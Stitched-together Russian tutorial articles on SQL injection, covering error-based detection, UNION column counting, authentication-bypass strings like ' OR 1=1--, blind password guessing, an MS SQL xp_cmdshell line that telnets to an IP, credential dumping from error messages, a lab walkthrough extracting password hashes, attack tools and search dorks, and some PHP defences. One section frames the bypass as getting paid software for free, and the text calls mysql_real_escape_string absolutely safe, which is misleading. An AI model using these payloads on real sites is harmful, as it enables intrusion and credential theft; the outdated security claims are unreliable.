Внедрение sql инъекций. Шпаргалка по SQL инъекциям. Инструменты для тренировки

SQL инъекция - это один из самых доступных способов взлома сайта.
Суть таких инъекций – внедрение в данные (передаваемые через GET, POST запросы или значения Cookie) произвольного SQL кода. Если сайт уязвим и выполняет такие инъекции, то по сути есть возможность творить с БД (чаще всего это MySQL) что угодно.

Как вычислить уязвимость, позволяющую внедрять SQL инъекции?

Довольно легко. Например, есть тестовый сайт test.ru . На сайте выводится список новостей, с возможностью детального просомтра. Адрес страницы с детальным описанием новости выглядит так: test.ru/?detail=1 . Т.е через GET запрос переменная detail передаёт значение 1 (которое является идентификатором записи в табице новостей).

Изменяем GET запрос на?detail=1" или?detail=1" . Далее пробуем передавать эти запросы серверу, т.е заходим на test.ru/?detail=1 " или на test.ru/?detail=1 ".

Если при заходе на данные страницы появляется ошибка, значит сайт уязвим на SQL инъекции.

Пример ошибки, возникающей при проверке уязвимости

Возможные SQL инъекции (SQL внедрения)
1) Наиболее простые - сворачивание условия WHERE к истиностному результату при любых значениях параметров.
2) Присоединение к запросу результатов другого запроса. Делается это через оператор UNION.
3) Закомментирование части запроса.

Практика. Варианты взлома сайта с уязвимостью на SQL внедрения

Итак, у нас есть уже упоминавшийся сайт test.ru . В базе хранится 4 новости, 3 из которых выводятся. Разрешение на публикацию новости зависит от парметра public (если параметр содержит значение 1, то новость публикуется).

Список новостей, разрешённых к публикации

При обращении к странице test.ru/?detail=4 , которая должна выводить четвёртую новость появляется ошибка – новость не найдена.
В нашем случае новость существует, но она запрещена к публикации.

Но так как мы уже проверяли сайт на уязвимость и он выдавал ошибку БД, то пробуем перебирать возможные варианты запросов.
В адресной строке плюс (+) выполняет роль пробела, так что не пугайтесь

Тестирую следующие варианты:
test.ru/?detail=4+OR+1
test.ru/?detail=4+--
test.ru/?detail=4+UNION+SELECT+ *+FROM+news+WHERE+id=4

В итоге удача улыбнулась и два запроса (первый и третий) вернули нам детальное описание четвёртой новости

Разбор примера изнутри

За получение детального описания новости отвечает блок кода:
$detail_id=$_GET["detail"];
$zapros="SELECT * FROM `$table_news` WHERE `public`="1" AND `id`=$detail_id ORDER BY `position` DESC";

Мало того, что $detail_id получает значение без какой либо обработки, так ещё и конструкция `id`=$detail_id написана криво, лучше придерживаться `id`="$detail_id" (т.е сравниваемое значение писать в прямых апострофах).

Глядя на запрос, получаемый при обращении к странице через test.ru/?detail=4+OR+1

SELECT * FROM `news` WHERE `public`="1" AND `id`=4 OR 1 ORDER BY `position` DESC

Становится не совсем ясно, почему отобразилась 4-ая новость. Дело в том, что запрос вернул все записи из таблицы новостей, отсортированные в порядке убывания сверху. И таким образом наша 4-ая новость оказалась самой первой, она же и вывелась как детальная. Т.е просто совпадение.

Разбираем запрос, сформированный при обращении через test.ru/?detail=4+UNION+SELECT+*+FROM+news+WHERE+id=4 .

Тут название таблицы с новостями (в нашем случае это news) бралось логическим перебором.
Итак, выполнился запрос SELECT * FROM `news` WHERE `public`="1" AND `id`=4 UNION SELECT * FROM news WHERE id=4 ORDER BY `position` DESC . К нулевому результату первой части запроса (до UNION) присоединился результат второй части (после UNION), вернувшей детальное описание 4-ой новости.

Защита от SQL инъекций (SQL внедрений)

Защита от взлома сводится к базовому правилу «доверяй, но проверяй». Проверять нужно всё – числа, строки, даты, данные в специальных форматах.
Числа
Для проверки переменной на числовое значение используется функция is_numeric(n);, которая вернёт true, если параметр n - число, и false в противном случае.
Так же можно не проверять значение на число, а вручную переопределить тип. Вот пример, переопределяющий значение $id, полученное от $_GET["id_news"] в значение целочисленного типа (в целое число):
$id=(int)$_GET["id_news"];
Строки
Большинство взломов через SQL происходят по причине нахождения в строках «необезвреженных» кавычек, апострофов и других специальных символов. Для такого обезвреживания нужно использовать функцию addslashes($str);, которая возвращает строку $str с добавленным обратным слешем (\) перед каждым специальным символом. Данный процесс называется экранизацией.

$a="пример текста с апострофом " ";
echo addslashes($a); //будет выведено: пример текста с апострофом \"

Кроме этого существуют две функции, созданные именно для экранизации строк, используемых в SQL выражениях.
Это mysql_escape_string($str); и mysql_real_escape_string($str);.

Первая не учитывает кодировку соединения с БД и может быть обойдена, а вот вторая её учитывает и абсолютно безопасна. mysql_real_escape_string($str); возвращает строку $str с добавленным обратным слешем к следующим символам: \x00, \n, \r, \, ", " и \x1a .

Магические кавычки

Магические кавычки – эффект автоматической замены кавычки на обратный слэш (\) и кавычку при операциях ввода/вывода. В некоторых конфигурациях PHP этот параметр включён, а в некоторых нет. Для того, что бы избежать двойного экранизирования символов и заэкранизировать данные по-нормальному через mysql_real_escape_string($str);, необходимо убрать автоматические проставленные обратные слеши (если магические кавычки включены).

Проверка включённости магических кавычек для данных получаемых из GET, POST или Куков организуется через функцию get_magic_quotes_gpc(); (возвращает 1 – если магические кавычки включены, 0 – если отключены).

Если магические кавычки вкючены (т.е обратные слеши добавляеются) и такое встречается чаще, то их нужно убрать. Это делается через функцию stripslashes($str); (возвращает строку $str без обратных слешей у кавычек и прямых апострофов).

В закючении привожу код с полной экранизацией строк для записи в БД

If(get_magic_quotes_gpc()==1)
{
$element_title=stripslashes(trim($_POST["element_title"]));
$element_text=stripslashes(trim($_POST["element_text"]));
$element_date=stripslashes(trim($_POST["element_date"]));
}
else
{
$element_title=trim($_POST["element_title"]);
$element_text=trim($_POST["element_text"]);
$element_date=trim($_POST["element_date"]);
}

$element_title=mysql_real_escape_string($element_title);
$element_text=mysql_real_escape_string($element_text);
$element_date=mysql_real_escape_string($element_date);

Статья была подготовлена на основе практических навыков по защите веб-систем. Теория дело хорошее, но практика важнее и главное она работает.

Количество сайтов и страничек в Сети неуклонно растёт. За разработку берутся все, кто только может. И начинающие веб-программисты очень часто используют небезопасный и старый код. А это создаёт массу лазеек для злоумышленников и хакеров. Чем они и пользуются. Одна из самых классических уязвимостей — SQL-инъекция.

Немного теории

Многие знают, что большинство сайтов и сервисов в сети используют для хранения базы SQL. Это такой язык структурированных запросов, который позволяет управлять и администрировать хранилища с данными. Известно много различных версий систем менеджмента базами данных — Oracle, MySQL, Postgre. Вне зависимости от имени и типа, они одинаково используют запросы к данным. Именно здесь и кроется потенциальная уязвимость. Если разработчик не смог правильно и безопасно обработать запрос, то злоумышленник может воспользоваться этим и применить особые тактики для получения доступа к базе, а оттуда - и к управлению всем сайтом.

Для избежания таких ситуаций нужно грамотно оптимизировать код и внимательно следить за тем, какой запрос каким способом обрабатывается.

Проверка на SQL-инъекции

Для установления наличия уязвимости в сети имеется масса готовых автоматизированных программных комплексов. Но можно осуществить простую проверку и вручную. Для этого нужно перейти на один из исследуемых сайтов и в адресной строке попробовать вызвать ошибку базы данных. К примеру, скрипт на сайте может не обрабатывать запросы и не обрезать их.

Например, есть некий_сайт/index.php?id=25

Самый лёгкий способ — поставить после 25 кавычку и отправить запрос. Если никакой ошибки не возникло, то либо на сайте фильтруются все запросы и правильно обрабатываются, либо в настройках отключён их вывод. Если страница перезагрузилась с проблемами, значит, уязвимость для SQL-инъекции есть.

После того как она обнаружена, можно пробовать избавиться от нее.

Для реализации данной уязвимости нужно знать немного о Одна из них — UNION. Она объединяет несколько результатов запроса в один. Так можно вычислить количество полей в таблице. Пример первого запроса выглядит так:

  • некий_сайт/index.php?id=25 UNION SELECT 1.

В большинстве случаев такая запись должна выдать ошибку. Это значит, что количество полей не равно 1. Таким образом, подбирая варианты от 1 и больше, можно установить их точное число:

  • некий_сайт/index.php?id=25 UNION SELECT 1,2,3,4,5,6.

То есть, когда ошибка перестанет появляться, значит, количество полей угадано.

Есть также и альтернативный вариант решения этой проблемы. Например, когда число полей большое — 30, 60 или 100. Это команда GROUP BY. Он группирует результаты запроса по какому-либо признаку, например id:

  • некий_сайт/index.php?id=25 GROUP BY 5.

Если ошибок не было получено, значит, полей больше, чем 5. Таким образом, подставляя варианты из довольно обширного диапазона, можно вычислить, сколько же их на самом деле.

Данный пример SQL-инъекции - для новичков, которые хотят попробовать себя в тестировании своего сайта. Важно помнить, что за несанкционированный доступ к чужому имеется статья Уголовного кодекса.

Основные типы инъекций

Реализовать уязвимости посредством SQL-инъекции можно несколькими вариантами. Далее идут наиболее популярные методики:

    UNION injection. Простой пример данного типа был уже рассмотрен выше. Реализуется он за счёт ошибки в проверке приходящих данных, которые никак не фильтруются.

    Error-based SQL injection. Как понятно из названия, данный тип также использует ошибки, посылая выражения, составленные синтаксически неправильно. Затем происходит перехват заголовков ответа, анализируя которые, можно провести впоследствии SQL-инъекцию.

    Stacked injection. Данная уязвимость определяется выполнением последовательных запросов. Характеризуется он присоединением в конце знака «;». Этот подход чаще реализуется для доступа к реализации чтения и записи данных или же управлением функциями операционной системы, если привилегии это позволяют.

Программные комплексы для поиска SQL-уязвимостей

Наличествующие для проведения SQL-инъекций, программы обычно имеют две составляющих — сканирование сайта на возможные уязвимости и их использование для получения доступа к данным. Существуют такие утилиты практически для всех известных платформ. Их функционал в значительной мере облегчает проверку сайта на возможность взлома SQL-инъекцией.

Sqlmap

Очень мощный сканер, работающий с большинством известных СУБД. Поддерживает различные методики внедрения SQL-инъекций. Имеет возможность автоматического распознавания типа хэша пароля и его взлома по словарю. Присутствует и функционал загрузки и выгрузки файлов с сервера.

Установка в среде Linux выполняется с помощью команд:

  • git clone https://github.com/sqlmapproject/sqlmap.git sqlmap-dev,
  • cdsqlmap-dev/,
  • ./sqlmap.py --wizard.

Для Windows имеется как вариант с командной строкой, так и с графическим интерфейсом пользователя.

jSQL Injection

jSQL Injection — кроссплатформенный инструмент для тестирования использования SQL уязвимостей. Написан на Java, поэтому в системе должен быть установлен JRE. Способен обрабатывать запросы header, cookie. Обладает удобным графическим интерфейсом.

Установка данного программного комплекса происходит так:

wget https://github.com/`curl -s https://github.com/ron190/jsql-injection/releases| grep-E -o "/ron190/jsql-injection/releases/download/v{1,2}.{1,2}/jsql-injection-v{1,2}.{1,2}.jar"| head-n 1`

Запуск осуществляется с помощью команды java -jar ./jsql-injection-v*.jar

Для того чтобы начать проверку сайта на SQL-уязвимость, нужно ввести его адрес в верхнее поле. Они есть отдельные для GET и для POST. При положительном результате в левом окне появится список доступных таблиц. Их можно просмотреть и узнать некую конфиденциальную информацию.

Для поиска административных панелей используется вкладка «Admin page». На ней с помощью специальных шаблонов выполняется автоматический поиск системных записей привилегированных пользователей. Из них можно получить всего лишь хэш пароля. Но и он имеется в инструментарии программы.

После нахождения всех уязвимостей и инъектирования нужных запросов, утилита позволит залить на сервер свой файл или же, наоборот, скачать его оттуда.

SQLi Dumper v.7

Данная программа — простой в использовании инструмент для поиска и реализации уязвимостей в SQL. Производит оон это на основе так называемых дорков. Их списки можно найти в интернете. Дорки для SQL-инъекций — это специальные шаблоны поисковых запросов. С их помощью можно найти потенциально через любой поисковик.

Инструменты для тренировки

На сайте itsecgames.com имеется специальный набор инструментария, который позволяет на примере показывает как сделать SQL инъекцию и протестировать ее. Для того чтобы воспользоваться, её нужно скачать и установить. Архив содержит в себе набор файлов, который представляет собой структуру сайта. Для его установки понадобится имеющийся в системе набор веб-сервера Apache, MySQL и PHP.

Распаковав архив в папку веб-сервера, надо перейти по адресу, введённому при установке данного программного продукта. Откроется страница с регистрацией пользователя. Здесь нужно ввести свои данные и нажать «Create». Переведя пользователя в новое окно, система предложит выбрать один из вариантов тестирования. Среди них имеется как описываемые инъекции, так и много других тестовых заданий.

Стоит рассмотреть пример SQL-инъекции типа GET/Search. Здесь нужно выбрать ее и нажать «Hack». Перед пользователем предстанет строка поиска и имитация некоего сайта с фильмами. Перебирать фильмы можно долго. Но их всего 10. К примеру, можно попробовать ввести Iron Man. Выведется фильм, значит, сайт работает, и таблицы в нем имеются. Теперь надо проверить, фильтрует ли скрипт особые символы, в частности кавычку. Для этого в строку адреса нужно добавить "». Причём, сделать это надо после названия фильма. Сайт выдаст ошибку Error: You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near "%"" at line 1, которая гласит о том, что символы всё-таки обрабатываются неправильно. Значит, можно пробовать подставить свой запрос. Но нужно сначала вычислить количество полей. Для этого используется order by, который вводится после кавычки: http://testsites.com/sqli_1.php?title=Iron+Man" order by 2 --&action=search.

Данная команда просто выведет сведения о фильме, то есть количество полей больше 2. Двойной дефис сообщает серверу, что остальные запросы нужно отбросить. Теперь надо перебирать, подставляя все большие значения до тех пор, пока не выведется ошибка. В итоге получится, что полей будет 7.

Теперь настало время получить что-то полезное из базы. Придётся немного модифицировать запрос в адресной строке, приведя ее к такому виду: http://testsites.com/sqli_1.php?title=Iron+Man" union select 1, database(),user(),4,password,6,7 from users --&action=search. В результате её выполнения выведутся строки с хэшами паролей, которые можно легко превратить в понятные символы с помощью одного из онлайн сервисов. А немного поколдовав и подобрав имя поля с логином, можно получить доступ к чужой записи, например админа сайта.

В продукте имеется масса разновидностей типов инъекций, на которых можно попрактиковаться. Стоит помнить, что применение данных навыков в сети, на реальных сайтах может оказаться уголовно наказуемым.

Инъекции и PHP

Как правило, именно PHP-код и отвечает за необходимую обработку запросов, приходящих от пользователя. Поэтому именно на этом уровне нужно выстраивать защиту от SQL-инъекций в PHP.

  • Данные всегда должны быть обработаны перед помещением в базу. Это можно реализовать либо используя уже имеющиеся выражения, либо организовывая запросы вручную. Здесь тоже стоит учитывать, что числовые значения преобразовываются к тому типу, который необходим;
  • Избегать в запросе появления различных управляющих конструкций.

Теперь немного о правилах составления запросов в MySQL для защиты от SQL-инъекций.

При составлении каких-либо выражений для запроса важно отделять данные от ключевых слов SQL.

  • SELECT * FROM table WHERE name = Zerg.

В данной конструкции система может подумать, что Zerg — это имя какого-либо поля, поэтому нужно заключить его в кавычки.

  • SELECT * FROM table WHERE name = "Zerg".

Однако, бывают ситуации, когда значение само по себе содержит кавычки.

  • SELECT * FROM table WHERE name = "кот-д"ивуар".

Здесь обработается только часть кот-д, а остальная может быть воспринята как команда, которой, естественно, нет. Поэтому возникнет ошибка. Значит нужно такого рода данные экранировать. Для этого используется обратный слэш - \.

  • SELECT * FROM table WHERE name = "кот-д\"ивуар".

Все вышеперечисленное относится к строкам. Если действие происходит с числом, то ему не нужны ни кавычки ни слэши. Однако их надо обязательно в принудительном порядке приводить к необходимому типу данных.

Существует рекомендация, по которой имя поля должна быть заключена в обратную кавычку. Этот символ находится в левой части клавиатуры, вместе со знаком тильда «~». Это нужно для того, чтобы MySQL могла точно отличить имя поля от своего ключевого слова.

Динамическая работа с данными

Очень часто для получения каких-либо данных из базы используются запросы, сформированные динамически. Например:

  • SELECT * FROM table WHERE number = "$number".

Здесь переменная $number передается в качестве определения значения поля. Что же будет, если в неё попадёт "кот-д"ивуар"? Ошибка.

Избежать данной неприятности, конечно, можно включив «волшебные кавычки» в настройках. Но теперь данные будут экранироваться там, где надо и не надо. К тому же если код пишется вручную, то можно потратить немного больше времени на то, чтобы создать стойкую к взлому систему самому.

Для самостоятельного добавления слэша можно использовать mysql_real_escape_string.

$number=mysql_real_escape_string($number);

$year=mysql_real_escape_string($year);

$query="INSERT INTO table (number,year,class) VALUES ("$number","$year",11)".

Хотя код и вырос в объеме, все же, потенциально он будет работать гораздо безопаснее.

Плейсхолдеры

Плейсхолдеры — своеобразные маркеры, по которым система узнает что в это место нужно подставить специальную функцию. Например:

$sate = $mysqli->prepare("SELECT District FROM Number WHERE Name=?");

$sate->bind_param("s", $number);

$sate->execute();

Данный участок кода производит подготовку шаблона запроса, затем привязывает переменную number, и выполняет его. Данный подход позволяет разделить обработку запроса и его реализацию. Таким образом, можно уберечься от использования внедрения вредоносного кода в SQL-запросы.

Что может сделать злоумышленник

Защита системы - очень важный фактор, которым нельзя пренебрегать. Конечно, простенький сайт-визитку будет проще восстановить. А если это большой портал, сервис, форум? Какие последствия могут быть, если не думать о безопасности?

Во-первых, хакер может нарушить как целостность базы, так и удалить её целиком. И если администратор сайта или хостер не сделали бэкап, то придётся несладко. Помимо всего, злоумышленник, взломав один сайт, может перейти на другие, размещённые на этом же сервере.

Далее идет хищение личных данных посетителей. Как их использовать — тут все ограничивается лишь фантазией хакера. Но в любом случае последствия будут не очень приятными. Тем более если содержалась финансовая информация.

Также злоумышленник может слить базу себе, а затем вымогать деньги за её возврат.

Дезинформация пользователей от имени лицом им не являющимся, также может нести негативные последствия, так как возможны факты мошенничества.

Заключение

Вся информация в данной статье предоставлена исключительно в ознакомительных целях. Использовать её нужно только для тестирования собственных проектов при обнаружении уязвимостей и их устранения.

Для более углублённого изучения методики того, как провести SQL-инъекцию, нужно начать собственно с исследования возможностей и особенностей языка SQL. Как составляются запросы, ключевые слова, типы данных и применение всего этого.

Также не обойтись без понимания работы функций PHP и элементов HTML. Основными уязвимыми точками для использования инъекций — адресная строка, поиск и различные поля. Изучение функций PHP, способ их реализации и возможности позволят понять, как можно избежать ошибок.

Наличие множества готовых программных инструментов позволяют провести глубокий анализ сайта на известные уязвимости. Один из наиболее популярных продуктов — kali linux. Это образ операционной системы на базе Linux, который содержит в себе большое количество утилит и программ, способных провести разносторонний анализ сайта на прочность.

Для чего нужно знать, как взломать сайт? Все очень просто — это надо для того, чтобы иметь представление о потенциально уязвимых местах своего проекта или сайта. Особенно если это какой-либо интернет-магазин с возможностью оплаты онлайн, где платёжные данные пользователя могут быть скомпрометированы злоумышленником.

Для профессионального исследования существуют службы информационной безопасности смогут проверить сайт по разным критериям и глубине. Начиная от простой HTML-инъекции и до социальной инженерии и фишинга.

SQL Injection достаточно хорошая возможность для хакера получить
доступ к серверу. И при небольшом усилии, он
все-таки его получает 🙂

Coder inside

В наше время работа с базами данных поддерживается
практически всеми языками программирования, к таким можно отнести BASIC, C++, Java, PERL, PHP, Assembler и даже JavaScript! А называются эти программы никак иначе как СУБД — системы управления базами данных. Зачастую базы данных применяются для решения финансовых задач,
бухгалтерии, организации кадров, но свое применение они нашли и в Интернете.

Базы данных часто используются для написания WEB-приложений. Их использование наиболее уместно для хранения пользовательских регистрационных данных, идентификаторов сессий, организации поиска, а также других задач требующих обработки большего
количества данных. Для обращения к БД используются серверные технологии: PHP, PERL, ASP, и т.д. Именно тут и начинается самое интересное. Когда на сервере
установлены все патчи, а брандмауэр блокирует все порты кроме 80-ого или когда требуется аутентификация для доступа к некоторым данным, для взлома хакер может использовать SQL Injection. Суть данной атаки заключается в использовании ошибки на стыке WEB технологий и SQL. Дело в том, что многие web страницы для обработки пользовательских данных, формируют специальный SQL запрос к БД. Неосторожное использование данной методики может привести к довольно интересным результатам…

SQL Injection

Для пояснения атаки представим себе, что ты зашел на сайт чтобы скачать одну очень важную тулзу и с ужасом замечаешь, что сделать это может только зарегистрированный пользователь, а регистрация, конечно же, стоит денег 🙂 Последние заработанные отдавать не хочется, а без программы никак! Самое время вспомнить о том как
обращаться к базам данных SQL . Например, проверка логина и пароля, на PHP может иметь следующий вид:

$result=mysql_db_query($db,"SELECT * FROM $table WHERE user="$login" AND
pass="$password"");
$num_rows=mysql_num_rows($result);
mysql_close($link);
if ($num_rows!=0)
{
// AUTHENTICATION OK
}
else
{
// AUTHENTICATION ERROR
}

Я добавил два комментария, «AUTHENTICATION OK » — вместо него должен
идти код, который исполнится в том случае, если пароль и логин верны. Другой «AUTHENTICATION ERROR » — место где будет описан код, исполняющийся в случае их неправильности. Если заполнить форму, то запрос получится похожим на «http://www.server.com?login=user&password=31337», где www.server.com имя
сервера, к которому мы пытаемся подключиться. Мы нашли то что искали, а по сему снова вернемся к работе SQL . Итак, если вы для авторизации должны указать логин и пароль, то сформированный SQL запрос будет иметь следующий вид:

SELECT * FROM users WHERE login="user" AND
password="31337"

Это значит примерно следующее: верни мне все записи из базы данных users у которых логин «user», а пароль «31337». Если существует такая запись, значит пользователь зарегистрирован, ну а если нет, то нет… Но при определенных обстоятельствах все можно исправить. Имеется ввиду ситуация, когда приложение не проверяет содержимое передаваемых данных или проверяет не полностью, на наличие SQL инструкций. В данном примере сверяются два поля login и password, но если в качестве пароля указать «31337′ AND email=’[email protected]»(без двойных кавычек), то запрос получится уже немного другим:

SELECT * FROM users WHERE login="user" AND password="31337" AND
email="[email protected]"

И в случае существования поля email это условие также будет проверено. Если вспомнить основы булевой алгебры, то приходит в голову что кроме операции «и» существует и «или», а поскольку их использование поддерживается SQL, можно выше
описанным способом добавить условие которое всегда возвращает истину. Для осуществления данного, необходимо в качестве логина указать «user’ OR 1=1—«, в таком случае запрос примет вид:

SELECT * FROM users WHERE login="user" OR 1=1--" AND
password="31337"

Для начала следует знать, что «—» означает конец запроса, и все после «—»
обрабатываться не будет! Получается, словно мы сделали запрос:

SELECT * FROM users WHERE login="user" OR 1=1

Как вы видите мы добавили условие «1=1», значит критерием проверки будет «если логин ‘user’ или 1=1», но ведь 1 всегда равно 1 (исключением может быть только арифметика Дани Шеповалова:)). Чтобы проверить наши подозрения
забиваем в адресной строке «http://www.server.com?login=user or 1=1—&password=31337». Это приводит к тому, что не играет роли какой именно логин мы указали, а
тем более пароль! И мы в матри… ой, в системе и можем спокойно качать то что нам необходимо.

Но это все в теории. На практике нам неизвестно каким образом формируется запрос, какие данные передаются и в какой последовательности. Поэтому необходимо указывать «user’ OR 1=1—» для всех полей. Также следует проверить форму отправки на наличие скрытых полей. В HTML они описываются как «». Если таковые существуют, сохраните страницу и поменяйте значения данных полей. Значения содержащиеся в них часто забывают проверять на наличие SQL инструкций. Но чтобы все заработало следует в форме (тэг «FORM») для параметра «ACTION» указать полный путь к скрипту, что обрабатывает данный запрос.

Но не всегда также известно как сформирован запрос,
прошлый пример можно было сформировать и следующими способами:

SELECT * FROM users WHERE (login="user" AND password="31337")
SELECT * FROM users WHERE login="user" AND password="31337"
SELECT * FROM users WHERE login=user AND password=31337

В таком случае можно попробовать следующие варианты:

‘ OR 1=1—
» OR 1=1—
OR 1=1—
‘ OR ‘a’=’a
» OR «a»=»a
‘) OR (‘a’=’a
OR ‘1’=’1′

Все зависит от предназначения скрипта, и от программиста. Поскольку каждому человеку свойственно все делать по своему, то вполне возможно, что программист выберет не самый простой вариант. Поэтому не следует сразу
сдаваться, если вы получите отказ. Необходимо
испробовать как можно большее количество вариантов…

Password detection

Обходить авторизацию неплохо, но очень часто дырка которую вы используете закрывается, и все что было для вас доступно теряется.
Этого и следовало ожидать, если программист не дурак он
со временем прикроет все лазейки. От таких ситуаций можно легко избавится заранее позаботившись об этом. Правильным решением может стать угадывание пароля посредством
анализа результатов аутентификации. Для начала пробуем угадать пароль, для этого введем место него:

‘ OR password>’a

Если нам ответят, что авторизация пройдена, значит пароль
начинается не на букву «а», а на какую-то из следующих по списку. Двигаемся дальше и подставляем
место "a", следующие «b», «c», «d», «e»… и т.д. пока нам не ответят, что пароль не правильный. Пускай этот процесс остановился на символе «x», в таком случае создаются два варианта развития ситуации, пароль найден или же пароль начитается на этот символ. Чтобы проверить первый вариант пишем место пароля:

‘ OR password=’x

и если пароль принят и тебя впустили, значит ты угадал пароль! Ну а нет, тогда следует подбирать уже второй символ,
точно так же, с начала. Для двух символов проверять
нужно так же. В конце концов, ты получишь пароль, а логин ищешь тем самым путем 🙂
В случае, если найденные пароль и логин тебя не устраивают, можешь отыскать и другие. Для этого необходимо начать проверку с последнего символа найденного пароля. Так, если пароль был «xxx» проверять необходимо существование пароля
"xxy":

‘ OR password=’xxx

чтобы не упустить не один вариант!

MS SQL Server

MS SQL Server вообще находка, если упущена необходимая фильтрация. Используя уязвимость SQL Injection можно исполнять
команды на удаленном сервере с помощью exec master..xp_cmdshell. Но чтобы использовать эту конструкцию
необходимо завершить операцию «SELECT». В SQL инструкции разделяются точкой с запятой. Поэтому подключится к некоторому IP по Telnet’у, необходимо место пароля/логина набрать:

"; exec master..xp_cmdshell "telnet 192.168.0.1" --

У MS SQL Server есть, еще несколько интересных особенностей, позволяющих узнать логины и пароли хранящиеся в базе данных. Для этого вывод об ошибках перенаправляется на произвольный сервер и посредствам их
анализа можно узнать название таблицы, полей и их типов. После чего можно запросом

‘ UNION SELECT TOP 1 login FROM users—

(login имя поля содержащего логин, а users — имя таблицы,
полуученые в процессе анализа ошибок).

Ответ может быть следующим:


Syntax error converting the nvarchar value "admin" to a column of data type int.
/default.asp, line 27

Теперь мы знаем, что есть пользователь с именем «admin». Теперь мы можем получить его пароль:

‘ UNION SELECT TOP 1 password FROM users where login=’admin’—

Результат:

Microsoft OLE DB Provider for ODBC Drivers error "80040e07"
Syntax error converting the nvarchar value "xxx" to a column of data type int.
/tedault.asp, line 27

Теперь нам известно, что есть пользователь «admin» с паролем «xxx». Этим можно смело
воспользоваться и залогинится в систему 😉

Но для работы с SQL существует еще много других функций,
при работе с базой данных можно также удалять данные, модифицировать, вставлять свои и даже манипулировать файлами и работать с реестром.
В общем, SQL Server — рулит 🙂

Защита

Но этого всего естественно можно избежать. Для этого можно
воспользоваться фильтрами,
предоставляемыми производителями. Можно найти свои решения, например заменять все одинарные
кавычки двойными (если для SQL запроса мы пользуетесь одинарными), или наоборот. Можно разрешить только использование букв и с@баки, в случае если требуется ввести
электронный адрес. А еще в перле есть удивительная
функция 🙂 quote() в модуле DBI::DBD, которая успешно делает ваш запрос безопасным по отношению к SQL . Решений много, необходимо просто ими
воспользоваться. Иначе зачем тогда все это…

Приветствую тебя, читатель. Последнее время, я увлекаюсь Web-безопасностью, да и в какой-то степени работа связана с этим. Т.к. я всё чаще и чаще стал замечать темы на различных форумах, с просьбой показать, как это всё работает, решил написать статью. Статья будет рассчитана на тех, кто не сталкивался с подобным, но хотел бы научиться. В сети относительно много статей на данную тематику, но для начинающих они немного сложные. Я постараюсь описать всё понятным языком и подробными примерами.

Предисловие

Для того, чтобы понять данную статью, вам не особо понадобится знания SQL-языка, а хотя бы наличие хорошего терпения и немного мозгов - для запоминания.

Я считаю, что одного прочтения статьи будет мало, т.к. нам нужны живые примеры - как известно практика, в процессе запоминания, не бывает лишней. Поэтому мы будем писать уязвимые скрипты и тренироваться на них.

Что же такое SQL инъекция?
Говоря простым языком - это атака на базу данных, которая позволит выполнить некоторое действие, которое не планировалось создателем скрипта. Пример из жизни:

Отец, написал в записке маме, чтобы она дала Васе 100 рублей и положил её на стол. Переработав это в шуточный SQL язык, мы получим:
ДОСТАНЬ ИЗ кошелька 100 РУБЛЕЙ И ДАЙ ИХ Васе

Так-как отец плохо написал записку (Корявый почерк), и оставил её на столе, её увидел брат Васи - Петя. Петя, будучи хакер, дописал там «ИЛИ Пете» и получился такой запрос:
ДОСТАНЬ ИЗ кошелька 100 РУБЛЕЙ И ДАЙ ИХ Васе ИЛИ Пете

Мама прочитав записку, решила, что Васе она давала деньги вчера и дала 100 рублей Пете. Вот простой пример SQL инъекции из жизни:) Не фильтруя данные (Мама еле разобрала почерк), Петя добился профита.

Подготовка
Для практики, Вам понадобится архив с исходными скриптами данной статьи. Скачайте его и распакуйте на сервере. Также импортируйте базу данных и установите данные в файле cfg.php

Поиск SQL injection

Как Вы уже поняли, инъекция появляется из входящих данных, которые не фильтруются. Самая распространенная ошибка - это не фильтрация передаваемого ID. Ну грубо говоря подставлять во все поля кавычки. Будь это GET/POST запрос и даже Cookie!

Числовой входящий параметр
Для практики нам понадобится скрипт index1.php . Как я уже говорил выше, подставляем кавычки в ID новости.

Т.к. у нас запрос не имеет фильтрации:

$id = $_GET["id"]; $query = "SELECT * FROM news WHERE id=$id";

Скрипт поймет это как

SELECT * FROM news WHERE id=1"

И выдаст нам ошибку:
Warning: mysql_fetch_array() expects parameter 1 to be resource, boolean given in C:\WebServ\domains\sqlinj\index1.php on line 16

Если ошибку не выдало - могут быть следующие причины:

1.SQL инъекции здесь нет - Фильтруются кавычки, или просто стоит преобразование в (int)
2.Отключен вывод ошибок.

Если все же ошибку вывело - Ура! Мы нашли первый вид SQL инъекции - Числовой входящий параметр.

Строковой входящий параметр

Запросы будем посылать на index2.php . В данном файле, запрос имеет вид:
$user = $_GET["user"]; $query = "SELECT * FROM news WHERE user="$user"";

Тут мы делаем выборку новости по имени пользователя, и опять же - не фильтруем.
Опять посылаем запрос с кавычкой:

Выдало ошибку. Ок! Значит уязвимость есть. Для начала нам хватит - приступим к практике.

Приступаем к действиям

Немного теории

Наверно Вам уже не терпится извлечь что-то из этого, кроме ошибок. Для начала усвойте, что знак " -- " считается комментарием в языке SQL.

ВНИМАНИЕ! Перед и после него обязательно должны стоять пробелы. В URL они передаются как %20

Всё, что идет после комментария - будет отброшено То есть запрос:
SELECT * FROM news WHERE user="AlexanderPHP" -- habrahabra

Выполнится удачно. Можете попробовать это на скрипте index2.php, послав такой запрос:

Sqlinj/index2.php?user=AlexanderPHP"%20--%20habrahabr

Выучите параметр UNION . В языке SQL ключевое слово UNION применяется для объединения результатов двух SQL-запросов в единую таблицу. То есть для того, чтобы вытащить что-то нам нужное из другой таблицы.

Извлекаем из этого пользу

Если параметр «Числовой», то в запросе нам не нужно посылать кавычку и естественно ставить комментарий в конце. Вернемся к скрипту index1.php .

Обратимся к скрипту sqlinj/index1.php?id=1 UNION SELECT 1 . Запрос к БД у нас получается вот таким:
SELECT * FROM news WHERE id=1 UNION SELECT 1
И он выдал нам ошибку, т.к. для работы с объедением запросов, нам требуется одинаковое количество полей.

Т.к. мы не можем повлиять на их количество в первом запросе, то нам нужно подобрать их количество во втором, чтобы оно было равно первому.

Подбираем количество полей

Подбор полей делается очень просто, достаточно посылать такие запросы:
sqlinj/index1.php?id=1 UNION SELECT 1,2
Ошибка…
sqlinj/index1.php?id=1 UNION SELECT 1,2,3
Опять ошибка!
sqlinj/index1.php?id=1 UNION SELECT 1,2,3,4,5
Ошибки нет! Значит количество столбцов равно 5.

GROUP BY
Зачастую бывает, что полей может быть 20 или 40 или даже 60. Чтобы нам каждый раз не перебирать их, используем GROUP BY

Если запрос
sqlinj/index1.php?id=1 GROUP BY 2
не выдал ошибок, значит кол-во полей больше 2. Пробуем:

